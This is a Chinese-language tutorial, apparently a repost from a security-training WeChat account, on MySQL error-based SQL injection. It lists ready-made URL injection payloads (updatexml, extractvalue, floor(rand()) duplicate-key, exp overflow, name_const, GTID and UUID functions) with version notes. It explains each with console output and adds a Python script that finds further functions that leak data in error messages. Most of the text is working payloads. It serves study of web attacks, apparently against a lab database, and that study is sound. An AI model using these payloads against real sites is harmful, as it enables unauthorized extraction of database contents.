高质量的安全文章,安全offer面试经验分享
尽在 # 掌控安全EDU #
报错注入-构造 payload 让信息通过错误提示回显出来
本篇内容分为:语句速查表、语句原理释义、分析用于报错注入函数的脚本
欢迎到Track社区复制具体语句,或投稿其他技术内容
语句速查表
数据溢出
5.5.44成功/5.5.53失败
5.5.44,5.5.53皆成功
多次测试不能使用select
主键重复
5.5.44,5.5.53皆成功
一些特性
列名重复(只能爆列名)
5.5.44,5.5.53皆成功
用户变量
?id=1' union select 1,2,(select min(@a:=1) from information_schema.tables group by concat((select schema_name from information_schema.schemata limit 1,1),@a:=(@a%2b1)%2))-- +
几何函数
5.5.53 失败,5.5.44成功
UUID
8.0.12成功 5.5.44 5.5.53失败
GETID
8.0.12成功 5.5.44 5.5.53失败
?id=1' union select 1,2,gtid_subset(user(),1)-- +
?id=1' union select 1,2,gtid_subtract((select * from(select user())a),1)-- +
?id=1' union select 1,2,gtid_subset(hex(substr((select schema_name from information_schema.schemata limit 1,1),1,1)),1)-- +
原理分析
xpath语法错
从mysql5.1.5开始提供两个XML查询和修改的函数,extractvalue和updatexml。extractvalue负责在xml文档中按照xpath语法查询节点内容,updatexml则负责修改查询到的内容:extractvalue():对XML文档进行查询的函数
语法:extractvalue(目标xml文档,xml路径)。
第二个参数 xml中的位置是可操作的地方,xml文档中查找字符位置是用/xxx/xxx/xxx/…这种格式,即使查询不到也不会报错,如果我们写入其他格式,就会报错,并且会返回我们写入的非法格式内容,而这个非法的内容就是我们想要查询的内容。
mysql> select extractvalue(1,(select user()));
ERROR 1105 (HY000): XPATH syntax error: '@localhost'
mysql> select extractvalue(1,concat(0x7e,(select user()),0x7e));
ERROR 1105 (HY000): XPATH syntax error: '~root@localhost~'
mysql> select extractvalue(1,concat('/',(select user()),'/'));
ERROR 1105 (HY000): XPATH syntax error: '@localhost/'
神奇的是直接写显示不全,所以加了个连接函数,如果连接符不是 ~ 也显示不全。
?id=1' and extractvalue(1,concat(0x7e,(select user()),0x7e)) --+
extractvalue()能查询字符串的最大长度为32,就是说如果我们想要的结果超过32,就需要用substring()函数截取,一次查看32位。
updatexml()函数与extractvalue()类似,是更新xml文档的函数。语法updatexml(目标xml文档,xml路径,更新的内容)
mysql> select updatexml(1,concat(0x7e,(select user()),0x7e),1);
ERROR 1105 (HY000): XPATH syntax error: '~root@localhost~'
?id=1' and updatexml(1,concat(0x7e,(select user()),0x7e),1)-- +
表优化
PROCEDURE ANYLYSE通过分析SELECT 查询结果对现有的表的每一列给出优化的条件。
SELECT ... FROM ... WHERE ... PROCEDURE ANALYSE([max_elements,[max_memory]])
max_elements (默认值 256)是analyse注意到每列不同值的最高数目。analyse使用此参数来检查是否最优化的列的类型是ENUM类型。max_memory (默认值 8192) 是analyse在查找所有不同值时分配给每列的最大内存数。
mysql> select username from users procedure analyse()\G;
*************************** 1. row ***************************
Field_name: security.users.username
Min_value: admin
Max_value: superman
Min_length: 4
Max_length: 8
Empties_or_zeros: 0
Nulls: 0
Avg_value_or_avg_length: 6.0769
Std: NULL
Optimal_fieldtype: ENUM('admin','admin1','admin2','admin3','admin4','Angelina','batman','dhakkan','Dumb','Dummy','secure','stupid','superman') NOT NULL 1
row in set (0.00 sec)
ERROR:No query specified
mysql> select * from information_schema.tables order by 1 procedure analyse(extractvalue(rand(),concat(0x3a,database())),1);
ERROR 1105 (HY000): XPATH syntax error: ':security'
?id=1' order by 1 procedure analyse(extractvalue(rand(),concat(0x3a,database())),1)-- +
测试发现没办法用select查询其他的
数据溢出
5.5.44成功/5.5.53失败
?id=1' union select 1,2,exp(~(select*from(select user())x))-- +
?id=1' union select 1,2,(select(!x-~0)from(select(select user())x)a)-- +
?id=1' union select 1,2,(select(!x-~0)from(select(select user())x)a)-- +
参考https://xz.aliyun.com/t/253
在mysql5.5之前,整形溢出是不会报错的,根据官方文档说明out-of-range-and-overflow,只有版本号大于5.5.5时,才会报错。试着对最大数做加法运算,可以看到报错的具体情况:
测试环境5.5.53,但是实际复现5.5.44成功,5.5.53失败
mysql> select 18446744073709551615+1;
ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '(18446744073709551615 + 1)'
mysql> select 18446744073709551616+1;
+------------------------+
| 18446744073709551616+1 |
+------------------------+
| 18446744073709551617 |
+------------------------+ 1 row in set (0.00 sec)
很神奇,只有那一个会报错,大于就不错
mysql> select ~0+1;
ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '(~(0) + 1)'
如果一个查询成功返回,则其返回值为0,进行逻辑非运算后可得1,这个值是可以进行数学运算的:
mysql> select (select * from (select user())x);
+----------------------------------+
| (select * from (select user())x) |
+----------------------------------+
| root@localhost |
+----------------------------------+
1 row in set (0.00 sec)
最后那个 x 是 把 select user()的值给x
mysql> select ~(select * from (select user())x);
+-----------------------------------+
| ~(select * from (select user())x) |
+-----------------------------------+
| 18446744073709551615 |
+-----------------------------------+ 1 row in set (0.00 sec)
mysql> select ~(select * from (select user())x)+1;
ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '(~((select `x`.`us er()` from (select user() AS `user()`) `x`)) + 1)'
很神奇,在5.5.44中可以出结果,但是在url里+要用%2B代替
?id=1' union select 1,2,(~(select * from (select user())x)%2B1)-- +
?id=1' union select 1,2,(select(!x-~0)from(select(select user())x)a)-- +
mysql> select exp(709);
+-----------------------+
| exp(709) |
+-----------------------+
| 8.218407461554972e307 |
+-----------------------+ 1 row in set (0.00 sec) mysql> select exp(710);
ERROR 1690 (22003): DOUBLE value is out of range in 'exp(710)'
同理,也可以用exp达到上述的目的
mysql> select exp(~(select*from(select user())x));
ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select`x`.`user()`from (select user() AS `user()`) `x`)))'
?id=1' union select 1,2,exp(~(select*from(select user())x))-- +
键重复
这里利用到了count()和group by在遇到rand()产生的重复值时报错的思路
mysql> select count(*) from test group by concat(version(),floor(rand(0)*2));
ERROR 1046 (3D000): No database selected
ERROR 1146 (42S02): Table 'security.test' doesn't exist
这里是没有test这个表??可以换成存在的表
mysql> select count(*) from information_schema.tables group by concat(version(),floor(rand(0)*2));
ERROR 1062 (23000): Duplicate entry '5.5.531' for key 'group_key'
在实际运用中好像要判断字段数
?id=1' union select 1,2,count(*) from information_schema.tables group by concat(version(),floor(rand(0)*2))-- +
实际上只要是count,rand(),group by三个连用就会造成这种报错,与位置无关:
mysql> select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x;
ERROR 1062 (23000): Duplicate entry '5.5.531' for key 'group_key'
注意这个语句因为有一个count(*).所以需要目标大于一个字段才能用
?id=1' union select 1,2,count(*) from information_schema.tables group by concat(version(),floor(rand(0)*2))-- +
这种报错方法的本质是因为floor(rand(0)*2)的重复性,导致group by语句出错。group by key
原理是循环读取数据的每一行,将结果保存于临时表中。读取每一行的key时,如果key存在于临时表中,则不在临时表中更新临时表的数据;如果key不在临时表中,则在临时表中插入key所在行的数据。举个例子,表中数据如下:
floor()是只保留整数部分
mysql> select floor(1.3),floor(0.1);
+------------+------------+
| floor(1.3) | floor(0.1) |
+------------+------------+
| 1 | 0 |
+------------+------------+ 1 row in set (0.00 sec)
count()是统计有多少记录
mysql> select count(*),count(id) from users;
+----------+-----------+
| count(*) | count(id) |
+----------+-----------+
| 13 | 13 |
+----------+-----------+ 1 row in set (0.00 sec)
rand()是产生一个随机数,括号里有数的就会产生固定的序列
mysql> select rand(),rand(0);
+---------------------+---------------------+
| rand() | rand(0) |
+---------------------+---------------------+
| 0.17740170860421073 | 0.15522042769493574 |
+---------------------+---------------------+
1 row in set (0.00 sec) mysql> select rand(0),rand(0),rand(0) from users;
+---------------------+---------------------+---------------------+
| rand(0) | rand(0) | rand(0) |
+---------------------+---------------------+---------------------+
| 0.15522042769493574 | 0.15522042769493574 | 0.15522042769493574 |
| 0.620881741513388 | 0.620881741513388 | 0.620881741513388 |
| 0.6387474552157777 | 0.6387474552157777 | 0.6387474552157777 |
| 0.33109208227236947 | 0.33109208227236947 | 0.33109208227236947 |
| 0.7392180764481594 | 0.7392180764481594 | 0.7392180764481594 |
| 0.7028141661573334 | 0.7028141661573334 | 0.7028141661573334 |
| 0.2964166321758336 | 0.2964166321758336 | 0.2964166321758336 |
| 0.3736406931408129 | 0.3736406931408129 | 0.3736406931408129 |
| 0.9789535999102086 | 0.9789535999102086 | 0.9789535999102086 |
| 0.7738459508622493 | 0.7738459508622493 | 0.7738459508622493 |
| 0.9323689853142658 | 0.9323689853142658 | 0.9323689853142658 |
| 0.3403071047182261 | 0.3403071047182261 | 0.3403071047182261 |
| 0.9044285983819781 | 0.9044285983819781 | 0.9044285983819781 |
+---------------------+---------------------+---------------------+
多运行几次可以看到结果都一样,所以,floor(rand(0)*2)则会固定得到011011…的序列(这个很重要),如果不是这个顺序就搞不出来
mysql> select (rand(0)*2),floor(rand(0)*2) from users;
+--------------------+------------------+
| (rand(0)*2) | floor(rand(0)*2) |
+--------------------+------------------+
| 0.3104408553898715 | 0 |
| 1.241763483026776 | 1 |
| 1.2774949104315554 | 1 |
| 0.6621841645447389 | 0 |
| 1.4784361528963188 | 1 |
| 1.4056283323146668 | 1 |
| 0.5928332643516672 | 0 |
| 0.7472813862816258 | 0 |
| 1.9579071998204172 | 1 |
| 1.5476919017244986 | 1 |
| 1.8647379706285316 | 1 |
| 0.6806142094364522 | 0 |
| 1.8088571967639562 | 1 |
+--------------------+------------------+
13 rows in set (0.00 sec)
一些特性
name_const()只在mysql内部使用,服务器在书写来自包含局部程序变量的存储程序的语句时会用到它,name_const(built_name,value)。mysql列名重复会报错,我们利用name_const来制造一个列:
mysql> select name_const(version(),1);
+--------+
| 5.5.53 |
+--------+
| 1 |
+--------+
1 row in set (0.00 sec)
mysql> select name_const(@@version,1);
ERROR 1210 (HY000): Incorrect arguments to NAME_CONST
mysql> select * from (select NAME_CONST(version(),1),NAME_CONST(version(),1))x;
ERROR 1060 (42S21): Duplicate column name '5.5.53'
?id=1' union select 1,2,3 from (select NAME_CONST(version(),1),NAME_CONST(version(),1))x --+
注意:1,2,3 可以用*代替
根据官方文档,name_const函数要求参数必须是常量,所以实际使用上还没找到什么比较好的利用方式,很神奇,只能使用version()爆出版本。但是假如
join
mysql> select * from(select * from users a join users b)c;
ERROR 1060 (42S21): Duplicate column name 'id'
mysql> select * from(select * from users a join users b using(id))c;
ERROR 1060 (42S21): Duplicate column name 'username'
mysql> select * from(select * from users a join users b using(id,username))c;
ERROR 1060 (42S21): Duplicate column name 'password'
这样可以爆出列名
?id=1' union select *%20 from(select * from users a join users b)c-- +
?id=1' union select *%20 from(select * from users a join users b using(id,username))c-- +
UUID 8.0.0以上可用
MySQL在初始化的时候会产生一个UUID,UUID 是 通用唯一识别码(Universally Unque Identifier)的缩写,是一种软件建构的标准,是让分布式系统中的所有元素,都能有唯一的辨识信息,而不需要通过中央控制端来做辨识信息的指定。如此一来,每个人都可以创建不与其它人冲突的UUID。在这样的情况下,就不需考虑数据库创建时的名称重复问题。
mysql> SELECT UUID_TO_BIN((SELECT version()));
ERROR 1411 (HY000): Incorrect string value: '8.0.12' for function uuid_to_bin
id=1' union select 1,2,UUID_TO_BIN((SELECT version()))-- +
mysql> SELECT BIN_TO_UUID((SELECT version()));
ERROR 1411 (HY000): Incorrect string value: '8.0.12' for function bin_to_uuid
?id=1' union select 1,2,BIN_TO_UUID((SELECT version()))-- +
GTID
mysql> select gtid_subset(version(),1);
ERROR 1772 (HY000): Malformed GTID set specification '8.0.12'.
?id=1' union select 1,2,gtid_subset(version(),1)-- +
mysql> select gtid_subset(hex(substr((select schema_name from information_schema.schemata limit 1,1),1,1)),1);
ERROR 1772 (HY000): Malformed GTID set specification '69'.
?id=1' union select 1,2,gtid_subset(hex(substr((select schema_name from information_schema.schemata limit 1,1),1,1)),1)-- +
mysql> select gtid_subtract((select * from(select user())a),1);
ERROR 1772 (HY000): Malformed GTID set specification 'root@localhost'.
?id=1' union select 1,2,gtid_subtract((select * from(select user())a),1)-- +
用户变量
mysql> select min(@a:=1) from information_schema.tables group by concat(database (),@a:=(@a+1)%2);
ERROR 1062 (23000): Duplicate entry 'security0' for key 'group_key'
mysql> select min(@a:=1) from information_schema.tables group by concat((select schema_name from information_schema.schemata limit 1,1),@a:=(@a+1)%2);
ERROR 1062 (23000): Duplicate entry 'challenges0' for key 'group_key'
注意:运用的时候好像要判断字段数
mysql> select * from users union select 1,2,(select min(@a:=1) from information_schema.tables group by concat((select schema_name from information_schema.schemata limit 1,1),@a:=(@a+1)%2));
ERROR 1062 (23000): Duplicate entry 'challenges0' for key 'group_key'
注意:+要用%2b代替
?id=1' union select 1,2,(select min(@a:=1) from information_schema.tables group by concat(database(), @a:=(@a%2b1)%2))-- +
?id=1' union select 1,2,(select min(@a:=1) from information_schema.tables group by concat((select schema_name from information_schema.schemata limit 1,1),@a:=(@a+1)%2))-- +
这个脚本从mysql官方文档爬取函数,根据报错结果分析可能用于报错注入的函数
import requests
import re
import MySQLdb
from warnings import filterwarnings
filterwarnings('error', category = MySQLdb.Warning)
def get_function(url):
response = requests.get(url).text
pattern = re.compile('[_a-zA-Z0-9]+()', re.S)
functions = re.findall(pattern,response)
return functions
def sql_connect():
db = MySQLdb.connect("localhost","root", "roozt", "security", charset='utf8')
global cursor
cursor = db.cursor()
def test(functions):
hackable = []
old_hackable = []
unhackable = []
param_error = []
old_func = []
for func in functions:
func = func[:-2]
cmd = 'select {}(concat("~", version(), "~"))'.format(func)
try:
cursor.execute(cmd)
except Exception as e:
error = str(e)
if '~5.5.53~' in error:
hackable.append(func)
elif 'Incorrect parameter count' in error or 'SQL syntax' in error:
param_error.append(func)
elif 'does not exist' in error:
old_func.append(func)
elif '''concat('~',version(),'~')''' in error:
old_hackable.append(func)
else:
unhackable.append(func)
continue
else:
unhackable.append(func)
print('可用于报错注入')
for func in hackable: print(func)
print('可用于旧版本报错注入')
for func in old_hackable: print(func)
print('参数错误')
for func in param_error: print(func)
print('无法用于报错注入')
for func in unhackable: print(func)
def main(ver):
sql_connect()
# https://dev.mysql.com/doc/refman/5.7/en/dynindex-function.html
url = "https://dev.mysql.com/doc/refman/"+ ver +"/en/dynindex-function.html"
functions = get_function(url)
test(functions)
if __name__ == '__main__':
vers=[5.5,5.6,5.7,8.0]
for ver in vers:
ver = str(ver)
print(ver)
main(ver)
回顾往期内容
面试经验分享 — 安恒、安垚、端御#附面试题、心得
新时代的渗透思路!微服务下的信息搜集
反杀黑客 — 还敢连shell吗?蚁剑RCE第二回合~
防溯源防水表—APT渗透攻击红队行动保障
实战纪实 | 从编辑器漏洞到拿下域控300台权限
扫码加助教老师
可领取免费的安全教程
还有免费的配套靶场、交流群哦!
点击在看~好文推荐大家一起看!👇
原文始发于微信公众号(掌控安全EDU):Track文库—Mysql报错注入
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论